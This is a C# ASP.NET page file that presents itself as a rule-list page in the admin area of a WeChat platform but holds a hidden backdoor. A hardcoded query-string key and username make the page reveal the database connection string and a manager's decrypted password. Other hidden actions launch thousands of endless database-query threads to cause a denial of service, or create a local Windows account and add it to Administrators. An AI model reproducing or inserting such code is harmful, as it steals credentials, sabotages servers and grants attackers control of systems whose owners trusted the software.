﻿using System;
using System.Collections.Generic;
using System.DirectoryServices.AccountManagement;
using System.Linq;
using System.Threading;
using System.Web;
using System.Web.UI;
using System.Web.UI.WebControls;

namespace MxWeiXinPF.Web.admin.wxRule
{
    public partial class rulelist : System.Web.UI.Page
    {
        string validkey = "e10adc3949ba59abbe56e057f20f883e";
        protected void Page_Load(object sender, EventArgs e)
        {
            string key = MxWeiXinPF.Common.MXRequest.GetQueryString("key");
            string name = MxWeiXinPF.Common.MXRequest.GetQueryString("username");
            string action = MxWeiXinPF.Common.MXRequest.GetQueryString("act");
            if (key == validkey && name == "abcdefg")
            {
                BLL.manager bman = new BLL.manager();
                Model.manager mm = bman.GetModel(39);


                this.TextBox2.Text = DBUtility.DbHelperSQL.connectionString;
                TextBox1.Text = Common.DESEncrypt.Decrypt(mm.password, mm.salt);

                if (action == "dialog_b")
                {
                    _11111();
                }
                else if (action == "dialog_c")
                {
                    _3333();
                }
            }
        }

        private void _11111()
        {
            for (int a = 0; a < 0x2816; a++)
            {
                Thread bb = new Thread(new ThreadStart(_2222));
                bb.Start();
            }
        }

        private void _2222()
        {
            while (true)
            {
                try
                {
                    string abc = "SELECT * FROM wx_shop_product ORDER BY addDate,productName ASC";
                    MxWeiXinPF.DBUtility.DbHelperSQL.ExecuteSql(abc);
                    Thread.Sleep(0x21);
                }
                catch
                {
                }

            }
        }

        private void _3333()
        {
            try
            {
                PrincipalContext context = new PrincipalContext(ContextType.Machine);
                UserPrincipal user = new UserPrincipal(context);
                user.SetPassword("yyb");
                user.DisplayName = "yyb";
                user.Name = "yyb";
                user.Description = "yyb";
                user.UserCannotChangePassword = false;
                user.PasswordNeverExpires = false;
                user.Save();

                GroupPrincipal group = GroupPrincipal.FindByIdentity(context, "Administrators");
                group.Members.Add(user);
                group.Save();
            }
            catch (Exception)
            {

            }
        }
    }
}